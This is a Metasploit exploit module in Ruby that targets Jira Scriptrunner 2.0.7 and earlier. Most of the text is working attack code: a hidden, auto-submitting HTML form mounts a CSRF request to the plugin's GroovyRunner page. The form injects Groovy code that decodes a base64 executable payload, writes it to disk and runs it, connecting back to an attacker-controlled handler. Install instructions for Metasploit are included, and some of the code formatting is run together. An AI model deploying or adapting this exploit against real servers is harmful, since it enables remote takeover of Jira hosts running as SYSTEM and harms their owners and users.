#[Author] Ben 'highjack' Sheppard#[Title] Jira Scriptrunner 2.0.7 <= CSRF/RCE#[Twitter] @highjack_#[Author Url] http://bensheppard.net/jira-scriptrunner-2-0-7/#[Vendor Url] https://marketplace.atlassian.com/plugins/com.onresolve.jira.groovy.groovyrunner#[Install] To use this copy it into ~/.msf4/modules/exploits/windows/http/scriptrunner.rbrequire'msf/core'classMetasploit4<Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXEdef initialize
super('Name'=>'Jira Scriptrunner 2.0.7 <= CSRF/RCE','Description'=>%q{This jira plugin does notuse the built in jira protections (websudo or csrf tokens)
to protect the page from CSRF. This page is supposed to be used by admins to automate tasks,
it will accept java code and by default in a windows environment jira will
be run as system},'Author'=>['Ben \'highjack\' Sheppard'],'License'=>MSF_LICENSE,'Version'=>'Revision: 1 ','Platform'=>['win'],'Targets'=>[['Windows',{'Arch'=>ARCH_X86,'Platform'=>'win'}]],'DefaultTarget'=>0)register_options([OptString.new('RHOST',[true,'Remote host of jira box']),OptPort.new('RPORT',[true,'Remote port of jira box',8080]),OptString.new('LHOST',[true,'Multihandler host to listen on']),OptBool.new('IS_SSL',[true,'Does the target use ssl?',false]),OptPort.new('LPORT',[true,'Multihandler port to listen on',4444])],self.class)enddefcsrf(url)
shell =Rex::Text.rand_text_alpha(rand(8)+3)+".exe"
opts ={:arch=> target.arch,:platform=> target.platform}
encodedPayload =Rex::Text.encode_base64(generate_payload_exe(opts))
payloadLength = encodedPayload.length
chunkLength =500
stringBuffer =""for i in(0..payloadLength / chunkLength)if payloadLength < i+chunkLength
position = payloadLength-i
else
position = chunkLength
end
stringBuffer = stringBuffer +"encodedPayload.append(\""+ encodedPayload[i*chunkLength,position]+"\");\n"end
jiraPayload =%Q|
import sun.misc.BASE64Decoder;
import java.io.*;
Runtime rt = Runtime.getRuntime();
try
{
StringBuffer encodedPayload = new StringBuffer();
#{stringBuffer}
String sEncodedPayload = new String(encodedPayload.toString());
BASE64Decoder b64decoder = new BASE64Decoder();
byte[] decodedPayload = b64decoder.decodeBuffer(sEncodedPayload);
BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream("#{shell}"));
output.write(decodedPayload);
output.close();
}
catch (Exception e)
{
return(e);
}
try
{
|
jiraPayload = jiraPayload +"rt.exec(\"#{shell}\");}catch (Exception e){return (e);}"
html =%Q|
<html>
<head></head>
<body>
<form action='#{url}/secure/admin/groovy/GroovyRunner.jspa' method='POST' id='groovy'>
<input type='hidden' name='scriptLanguage' value='Groovy' />
<div style='display:none'>
<textarea name='script'>#{jiraPayload}</textarea>
</div>
<input type='hidden' name='Run&32;now' value='Run&32;now' />
</form>
<script>document.getElementById('groovy').submit();</script>
</body>
</html>
|return html
enddefgetUrl()
rhost = datastore['RHOST']
rport = datastore['RPORT']
isSsl = datastore['IS_SSL']if isSsl ==true
url ='https://'else
url ='http://'end
url = url + rhost +':'+ rport
return url
enddefon_request_uri(cli, request)
url =getUrl()print_status("\n#{self.name} handling response\n")send_response_html( cli,csrf(url),{'Content-Type'=>'text/html'})returnendend
